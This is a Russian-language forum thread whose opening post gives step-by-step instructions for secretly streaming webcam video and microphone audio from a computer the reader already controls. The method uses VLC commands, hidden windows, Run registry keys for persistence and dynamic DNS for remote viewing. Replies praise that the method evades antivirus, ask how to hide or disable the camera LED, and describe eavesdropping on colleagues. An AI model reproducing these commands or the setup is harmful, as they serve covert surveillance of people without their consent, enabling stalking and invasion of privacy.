![]() |
Всем привет, в этой статье я хочу рассказать про то как можно настроить трансляцию видео/аудио с вашей вебкамеры. Где и как это использовать это уже ваше дело(можно например вставить на сайт), мне кажется весьма интересно иногда посмотреть что происходит в комнате где стоит наш дед к которому у нас уже есть доступ http://i.pixs.ru/storage/3/9/2/vlcjp...23_6343392.jpg1. Ставим VLC и создаем *.bat файл для запуска видео-аудио захвата И так для начала установим vlc плеер: http://videolan.org/vlc/ После этого нам необходимо создать *.bat файл (назовем его start_vlc.bat)в котором и будем запускать vlc, ложим его в c:\windows\system32 команда для запуска видео/аудио захвата будет выглядеть так: Код:
"C:\Program Files\VideoLAN\VLC\vlc.exe" -vvv --no-qt-notification --qt-start-minimized dshow://:dshow-vdev="твоя вебка" :dshow-adev="твой микрофон" :dshow-caching="200" :sout=#transcode{hq:,vcodec=h264,height=320,width=240,vb=800,scale=1,acodec=mpga,ab=128,channels=2,samplerate=44100}:std{access=http,mux=ts,dst=твой dyndns адрес:8080} --volume 100Код:
cvlc -vvv v4l2:// :input-slave=alsa://plughw:1,0 :v4l2-standard=0 :file-caching=100 :sout='#transcode{hq:,vcodec=WMV2,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ts,dst=IP:PORT}' :no-sout-rtp-sap :no-sout-standard-sap :sout-keepКод:
cmdow @ /HID \n2. Регистрация на DynDns хостинге и установка DynDns клиента Далее перейдем к моменту как мы собираемся получать доступ к нашей камере? я думаю что у большинства пользователей в интернете нет своего постоянного внешнего ip адреса(если есть то просто пропустите этот пункт), выйти из этого положения нам поможет технология dyndns http://ru.wikipedia.org/wiki/DynDNS Для этого регистрируемся на сайте http://freedns.afraid.org/signup/ (пользуюсь этим хостингом так как dyndns.com стал платным) после ввода своих данных вы должны создать себе запись следующего вида: В поле Type выберите "A" (она уже выбрана по умолчанию) В поле Subdomain введите имя вашего домена(к примеру homemax) В поле Domain выберите интересующий вас домен(скорее всего mooo.com так как он самый короткий, но я выбрал другой ) В поле Destination введите свой внешний ip, узнать его можно например просто набрав в ya.ru "мой ip" после этого жмем кнопочку SAVE. У меня к примеру это имеет следующий вид: http://i.pixs.ru/storage/4/4/3/webjp...12_6343443.jpgДалее нам необходимо установить dyndns клиент который собственно и будет реагировать на обновление нашего внешнего ip адреса и динамически обновлять эту информацию на хостинге. Я использую вот этот клиент http://www.techknowpro.com/freedns после его установки, во вкладке Settings вводим наши логин и пароль(как и на сайте, при необходимости добавляем правила в антивирусное ПО/файерволы). http://i.pixs.ru/storage/0/5/9/dyndn...33_6343059.jpg 3. Автоматический запуск DynDns и нашего *bat файла при загрузке компьютера Далее нужно позаботиться что бы при загрузке ОС наш *.bat файл выполнялся автоматически, для этого с помощью regedit(пуск->выполнить->regedit) добавляем следующую запись в реестре. Код:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunКод:
Имя: vlc, Тип записи: REG_SZ, Значение: C:\WINDOWS\system32\start_vlc.batИ тоже самое проделываем для нашего DynDns клиента. Код:
Имя: dyndns, Тип записи: REG_SZ, Значение: C:\WINDOWS\cmdow.exe /run /hid "C:\Program Files\FreeDNS Update\FreeDNSUpdate.exe"4. Автоматическое подключение инета при включении или перезагрузке компьютера Нужно подумать как заставить подключаться интернет автоматически при включении компьютера, у меня используется vpn соединение, в настройках vpn подключения во вкладке "Параметры" убираем галочки с пунктов "Отображать ход подключения" и "Запрашивать имя, пароль, сертификат и.т.д" и просто ложим наше подключение в папку "Автозагрузка" у меня в windows XP(под Админом) данный метод работает. Теперь перезагружаем компьютер и тестируем, (для проверки запустите у себя vlc и попробуйте подключиться к самому себе "Meдиа->открыть URL") Ecли что то не работает смотрим вывод команды: Код:
netstat -a -n -bУ меня на моем железе это заметно жрет ресурсы, при желании хоть как то уменьшить потребление ресурсов советую внимательно выбирать кодеки (аудио/видео) список поддерживаемых кодеков: http://wiki.videolan.org/Codec Данные кодеки у меня использовали мин. системных ресурсов: Код:
audio codec:Скорее всего нового я ничего не напишу просто чуть напомню, если у вас доступ только через telnet не расстраивайтесь и помните про команды edit а также про echo и reg. Пример c edit: Код:
edit C:\windows\start_vlc.batПример добавление в автозагрузку с помощью reg: Код:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v vlc /t REG_SZ /d C:\Windows\start_vlc.bat /fЭто моя первая статья, сильно не пинайте, выслушаю дополнения |
Извращенец - не извращенец, но идея снятия видео с камеры используя VLC - достойна похвалы. Ибо, как минимум, это официальная тулза, не палящяяся антивирусами, в отличии от большинства троянов, которые надо время от времени криптовать + обновлять.
|
Будет очень хорошо, если автор статьи или еще кто нибудь разовьет эту тему, и чем больше, тем лучше. Если статья существенно пополнится новыми идеями или реализациями этой, тогда закреплю.
|
Спасибо! буду обязательно стараться дополнять..
|
Спасибо!взял способ!сегодня завтра попробую настроить,как что отпишу..
|
Как раз искал подобные статьи,спасибо
|
Ого. Пригодилось.
|
У меня 2 вопроса:
1. для чего это нужно? 2. если камера будет включена - это запалят. |
Цитата:
2. Не на всех камерах есть диоды (если ты про это) а на некоторых настолько тусклые что их в дневное время практически и не видно. |
+ за статью, в целом расписал всё что нужно. Добавлю себе в комплект
|
ого,круто круто)
обязательно попробую) Цитата:
2.если это будет блонда, то все норм)и днем и ночью, покаа комп не вырубят смотри сколько хочешь) а на самом деле,да,думаю если и смотреть то не долго) |
спасибо, отличная статья)
|
а можно ли как-нибудь, кроме физического отключения, отключить этот диод на камере или хотя бы сделать его тусклее?
|
Написать свой драйвер для работы с камерой без работы диода.
|
Автору респект и зачёт! Я уже пробую... ))
|
спасибо , отличная статья!
|
я делал тоже самое с помощью ffmpeg , для подключения к компу использовал openvpn, а батники добовлял в планировщик и удаленно выполнял по требованию
|
Камеры с диодами конечно сразу запалят. Статья интересная, спасибо автору!
|
Если цель - это ТАЙНО смотреть через вэб-камеру на человека, то есть программулины специальные, которые делают снимок через камеру через каждый 10-30 секунд
|
вопрос: а кто можно сделать только если есть доступ к компьютеру?
а на расстоянии это можно сделать? |
Цитата:
А вот когда найду, посмотрят дату и время установки и вспомнят, кто сидел за ПК тогда - попу надерут... |
Затестировал на своём ноуте, фонорик у камеры палит контору
|
спасибо)
|
Желаю здравия. Может кто подскажет причину? Все файлы располагал как в статье. ОС Вин7. Всем удачи.
http://zalil.ru/34696613 P.S. На скрине ^^^ результат выполнения start_vlc.bat |
Потестила, все работает, автору респект!
|
на 7-ке не работает
У меня 7-ке что то эта связка не пошла , vcl скачал, установил, на сайте за регился , батник написал , реестр модифицировал ...... а на выхлопе 0 |
Цитата:
|
Цитата:
|
|
Цитата:
|
спасибо, отличная статья!!!
|
Статья хорошая,
знаю о таком уже давно, у нас на работе в одно время так даже кабинеты прослушивали (у нас на каждом компе есть камера с микрофоном) Все вроди бы хороше при таком методе, но есть два но 1) при подсматривании через вебку горит диод на самой камере 2) при прослушивании с помощью такого метода- очень фонят колонки, а если слушаешь музыку в то время как тебя слушают, так вообще ужассс |
Есть плюс что это не палится антивирусом.
Но увы на некоторых камерах горит лампочка когда они включены) |
не слышал об этом, но догадывался. на всех моих ноутах сразу же заклеивал вебкамеру лейкопластырем, так спокойнее
|
Безопасность превыше всего
|
Спасибо интересная статья! У нас соседи компьютерную камеру повесили, у себя над дверью, чтобы видеть что происходит в подъезде . Осталось где-нибудь приклеить лист с надписью "Ведётся видео-наблюдение" .
|
Цитата:
А теперь понимаю, что если реально кто-то захочет это сделать, то мой яркий диод явно не будет проблемой З.Ы. Наклею на камеру бумажку, ну так на всякий случай |
Если получить доступ к компу на расстоянии, то можно и так. В любом случае доступ-то нужен
|
сразу грязные мыслишки в голову полезли)
|
New members, что у вас за мода апать старые темы? Логика, конечно, понятна (пытаетесь набить показатели). Но не надо делать это такими методами.
|
| Время: 09:39 |